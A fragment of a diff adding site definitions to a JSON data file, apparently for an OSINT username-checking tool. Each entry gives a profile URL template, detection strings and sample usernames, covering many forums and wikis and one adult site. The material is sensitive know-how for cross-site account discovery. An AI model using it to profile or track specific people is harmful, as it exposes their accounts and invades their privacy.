}, + "fandalism.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://fandalism.com/{username}" + }, + "fanfiktion.de": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://fanfiktion.de/u/{username}" + }, + "ffm.bio": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ffm.bio/{username}" + }, + "finmessage.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://finmessage.com/{username}" + }, + "flipsnack.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://flipsnack.com/{username}" + }, + "flirtic.ee": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://flirtic.ee/{username}", + "regexCheck": "^[^\\.]+$" + }, + "forum.banana-pi.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.banana-pi.org/u/{username}" + }, + "forum.bonsaimirai.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.bonsaimirai.com/u/{username}" + }, + "forum.cfx.re": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.cfx.re/u/{username}" + }, + "forum.cockroachlabs.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.cockroachlabs.com/u/{username}" + }, + "forum.core-electronics.com.au": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.core-electronics.com.au/u/{username}" + }, + "forum.freecodecamp.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.freecodecamp.org/u/{username}" + }, + "forum.gitlab.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.gitlab.com/u/{username}" + }, + "forum.golangbridge.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.golangbridge.org/u/{username}" + }, + "forum.juce.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.juce.com/u/{username}" + }, + "forum.leasehackr.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.leasehackr.com/u/{username}/summary" + }, + "forum.mattermost.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.mattermost.org/u/{username}" + }, + "forum.obsidian.md": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.obsidian.md/u/{username}" + }, + "forum.seeedstudio.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.seeedstudio.com/u/{username}" + }, + "forum.sublimetext.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.sublimetext.com/u/{username}" + }, + "forum.tudiabetes.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.tudiabetes.org/u/{username}" + }, + "forum.uipath.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.uipath.com/u/{username}" + }, + "forum.vuejs.org": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.vuejs.org/u/{username}" + }, + "forums.balena.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.balena.io/u/{username}" + }, + "forums.cgsociety.org": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.cgsociety.org/u/{username}" + }, + "forums.developer.nvidia.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.developer.nvidia.com/u/{username}" + }, + "forums.episodeinteractive.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.episodeinteractive.com/u/{username}", + "disabled": true + }, + "forums.gearboxsoftware.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.gearboxsoftware.com/u/{username}", + "disabled": true + }, + "forums.lawrencesystems.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.lawrencesystems.com/u/{username}" + }, + "forums.mmorpg.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.mmorpg.com/profile/{username}" + }, + "forums.penny-arcade.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.penny-arcade.com/profile/discussions/{username}" + }, + "forums.pimoroni.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.pimoroni.com/u/{username}" + }, + "forums.t-nation.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.t-nation.com/u/{username}" + }, + "forums.theanimenetwork.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.theanimenetwork.com/u/{username}" + }, + "forums.wyzecam.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.wyzecam.com/u/{username}" + }, + "gamedev.net": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://gamedev.net/{username}/" + }, + "gearheadwiki.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://gearheadwiki.com/wiki/User:{username}" + }, + "globulation2.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://globulation2.org/wiki/User:{username}" + }, + "hiveblocks.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://hiveblocks.com/@{username}" + }, + "inaturalist.nz": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://inaturalist.nz/people/{username}" + }, + "inaturalist.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://inaturalist.org/people/{username}" + }, + "irl.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://irl.com/{username}" + }, + "is.theorizeit.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://is.theorizeit.org/wiki/User:{username}" + }, + "ising.pl": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ising.pl/{username}" + }, + "kidicaruswiki.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://kidicaruswiki.org/wiki/User:{username}" + }, + "love2d.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://love2d.org/wiki/User:{username}" + }, + "mansonwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mansonwiki.com/wiki/User:{username}" + }, + "meta.discourse.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://meta.discourse.org/u/{username}" + }, + "metroidwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://metroidwiki.org/wiki/User:{username}" + }, + "micro.blog": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://micro.blog/{username}" + }, + "micronations.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://micronations.wiki/User:{username}" + }, + "minnit.chat": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://minnit.chat/{username}" + }, + "mintme.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mintme.com/token/{username}" + }, + "modelhub.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://modelhub.com/{username}/videos" + }, + "uviu.com": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Oops! Page Not Found", + "We're sorry, but the requested page cannot be found" + ], + "presenseStrs": [ + "<div class=\"profilePhotoSection\">", + "<v-avatar username=\"{username}\" wrapper-class=\"largeAvatar profilePhoto\"" + ], + "usernameClaimed": "destinationkat", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://www.uviu.com", + "url": "https://www.uviu.com/model/{username}" + }, + "monoskop.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://monoskop.org/User:{username}" + }, + "mql5.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mql5.com/es/users/{username}" + }, + "musicinafrica.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://musicinafrica.net/fr/users/{username}" + }, + "nitrc.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://nitrc.org/users/{username}/" + }, + "nookipedia.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://nookipedia.com/wiki/User:{username}" + }, + "oldschool.runescape.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://oldschool.runescape.wiki/wiki/User:{username}" + }, + "openhub.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openhub.net/accounts/{username}" + }, + "openriskmanual.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openriskmanual.org/wiki/User:{username}" + }, + "openwetware.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openwetware.org/wiki/User:{username}" + }, + "oyoy.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://oyoy.com/{username}" + }, + "padlet.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://padlet.com/{username}" + }, + "padrim.com.br": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://padrim.com.br/{username}" + }, + "patch.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://patch.com/users/{username}" + }, + "pcgamingwiki.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pcgamingwiki.com/wiki/User:{username}" + }, + "pidgi.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pidgi.net/wiki/User:{username}" + }, + "pinataisland.info": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pinataisland.info/viva/User:{username}" + }, + "postcrossing.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://postcrossing.com/user/{username}" + }, + "premium.chat": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://premium.chat/{username}" + }, + "profile.typepad.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://profile.typepad.com/{username}" + }, + "pttweb.cc": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pttweb.cc/user/{username}" + }, + "qiita.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://qiita.com/{username}" + }, + "rationalwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://rationalwiki.org/wiki/User:{username}" + }, + "raymanpc.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://raymanpc.com/wiki/en/User:{username}" + }, + "reactos.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://reactos.org/wiki/User:{username}" + }, + "realcty.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://realcty.org/wiki/User:{username}" + }, + "renderosity.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://renderosity.com/users/{username}" + }, + "run-log.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://run-log.com/live/{username}" + }, + "runescape.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://runescape.wiki/wiki/User:{username}" + }, + "sketchfab.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://sketchfab.com/{username}" + }, + "snipplr.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://snipplr.com/users/{username}" + }, + "society6.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://society6.com/{username}/all" + }, + "splatoonwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://splatoonwiki.org/wiki/User:{username}" + }, + "spreadshirt.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://spreadshirt.com/shop/user/{username}/" + }, + "ssbwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ssbwiki.com/User:{username}" + }, + "stackshare.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://stackshare.io/{username}" + }, + "starfywiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://starfywiki.org/wiki/User:{username}" + }, + "steller.co": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://steller.co/{username}" + }, + "strategywiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://strategywiki.org/wiki/User:{username}" + }, + "talk.macpowerusers.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://talk.macpowerusers.com/u/{username}" + }, + "teflpedia.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://teflpedia.com/User:{username}" + }, + "testwiki.wiki": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://testwiki.wiki/wiki/User:{username}" + }, + "thinkwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://thinkwiki.org/wiki/User:{username}" + }, + "tokyvideo.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://tokyvideo.com/user/{username}" + }, + "trailville.com": { + "checkType": "message", + "presenseStrs": [ + "wgRelevantUserName" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" + }, + "usernameClaimed": "Admin", + "usernameUnclaimed": "noonewouldevereverusethis7", + "url": "https://www.trailville.com/wiki/User:{username}" + }, + "trepup.com": { + "checkType": "message", + "absenceStrs": [ + "<title>" + ], + "usernameClaimed": "partybusservice", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://trepup.com/{username}" + }, + "ubuntu-mate.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ubuntu-mate.community/u/{username}" + }, + "users.rust-lang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://users.rust-lang.org/u/{username}" + }, + "v2ex.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://v2ex.com/member/{username}" + }, + "vidamora.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://www.vidamora.com/profile/{username}" + }, + "vingle.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://vingle.net/{username}" + }, + "webflow.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://webflow.com/{username}" + }, + "wiki.creativecommons.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.creativecommons.org/wiki/User:{username}" + }, + "wiki.linuxquestions.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.linuxquestions.org/wiki/User:{username}" + }, + "wiki.mozilla.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.mozilla.org/wiki/User:{username}" + }, + "wiki.mtasa.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.mtasa.com/User:{username}" + }, + "wiki.teamfortress.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.teamfortress.com/wiki/User:{username}" + }, + "wiki.tfes.org": { + "checkType": "message", + "presenseStrs": [ + "History" + ], + "absenceStrs": [ + "is not registered." + ], + "usernameClaimed": "Tom_Bishop", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.tfes.org/User:{username}" + }, + "wiki.themanaworld.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.themanaworld.org/wiki/User:{username}" + }, + "wiki.wesnoth.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.wesnoth.org/wiki/User:{username}" + }, + "wiki.xkcd.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.xkcd.com/geohashing/User:{username}" + }, + "wikialpha.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikialpha.org/wiki/User:{username}", + "disabled": true + }, + "wikiapiary.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikiapiary.com/wiki/User:{username}" + }, + "wikiislam.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikiislam.net/wiki/User:{username}" + }, + "wikizilla.org": { + "checkType": "message", + "absenceStrs": [ + "is not registered." + ], + "presenseStrs": [ + "class=\"mw-socialprofile-avatar\" alt=\"avatar\"/><" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikizilla.org/wiki/User:{username}" + }, + "zeldadungeon.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://zeldadungeon.net/wiki/User:{username}" + }, + "zoig.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://zoig.com/profile/{username}" + }, + "free-otvet.ru": { + "absenceStrs": [ + "qam-sidepanel-mobile" + ], + "presenseStrs": [ + "userfield-2" + ], + "url": "https://free-otvet.ru/user/{username}_zn", + "urlMain": "https://free-otvet.ru", + "usernameClaimed": "Triolana", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 121560, + "tags": [ + "q&a" + ] + }, + "TemplateMonster": { + "absenceStrs": [ + "ErrorPage__title" + ], + "presenseStrs": [ + "profile", + "header_profile", + "mailer", + "name", + "@graph" + ], + "url": "https://www.templatemonster.com/authors/{username}/", + "urlMain": "https://www.templatemonster.com", + "usernameClaimed": "zemez", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3590, + "tags": [ + "coding" + ] + }, + "dolap": { + "absenceStrs": [ + " role=" + ], + "presenseStrs": [ + "setEmail" + ], + "url": "https://dolap.com/profil/{username}", + "urlMain": "https://dolap.com", + "usernameClaimed": "burcakmeric", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 46439, + "tags": [ + "shopping", + "tr" + ] + }, + "Gardrops": { + "absenceStrs": [ + "> Gardrops" + ], + "presenseStrs": [ + "/reviews" + ], + "url": "https://www.gardrops.com/{username}", + "urlMain": "https://www.gardrops.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 114405, + "tags": [ + "shopping", + "tr" + ] + }, + "27r.ru": { + "urlMain": "https://27r.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 291847 + }, + "diorama.ru": { + "urlMain": "https://diorama.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 876209 + }, + "chelfishing.ru": { + "urlMain": "http://www.chelfishing.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "coffeeforum.ru": { + "urlMain": "http://coffeeforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 6816330 + }, + "car72.ru": { + "urlMain": "https://www.car72.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 180112 + }, + "caravanliga.ru": { + "urlMain": "http://caravanliga.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5134546, + "disabled": true + }, + "fkclub.ru": { + "urlMain": "https://fkclub.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1217359 + }, + "e36club.com.ua": { + "urlMain": "http://e36club.com.ua/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 6481717 + }, + "audi-belarus.by": { + "urlMain": "https://audi-belarus.by/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 955306 + }, + "cedia-club.ru": { + "urlMain": "https://cedia-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 3575772 + }, + "308-club.ru": { + "urlMain": "https://www.308-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1174213 + }, + "as8.ru": { + "urlMain": "http://as8.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1657866 + }, + "chevrolet-daewoo.ru": { + "urlMain": "http://chevrolet-daewoo.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2212329 + }, + "forum.c-o-k.com.ua": { + "urlMain": "https://forum.c-o-k.com.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 8982091 + }, + "forum.blackmagicdesign.com": { + "urlMain": "https://forum.blackmagicdesign.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 4572 + }, + "forum-dollplanet.ru": { + "urlMain": "http://forum-dollplanet.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1155897 + }, + "bashohota.ru": { + "urlMain": "http://www.bashohota.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5597207 + }, + "dfpd-forum.siemens.ru": { + "urlMain": "https://dfpd-forum.siemens.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1936926, + "disabled": true + }, + "doublecmd.h1n.ru": { + "urlMain": "https://doublecmd.h1n.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 180551 + }, + "fforum.ru": { + "urlMain": "http://www.fforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5399949 + }, + "ghisler.ch": { + "urlMain": "https://ghisler.ch/board", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 188223 + }, + "forum.finance.ua": { + "urlMain": "https://forum.finance.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 57250 + }, + "figarohair.ru": { + "urlMain": "http://www.figarohair.ru/conf", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 3389425 + }, + "hairforum.ru": { + "urlMain": "https://hairforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "hcv.ru": { + "urlMain": "http://www.hcv.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2482497 + }, + "forum.injectorservice.com.ua": { + "urlMain": "https://forum.injectorservice.com.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + 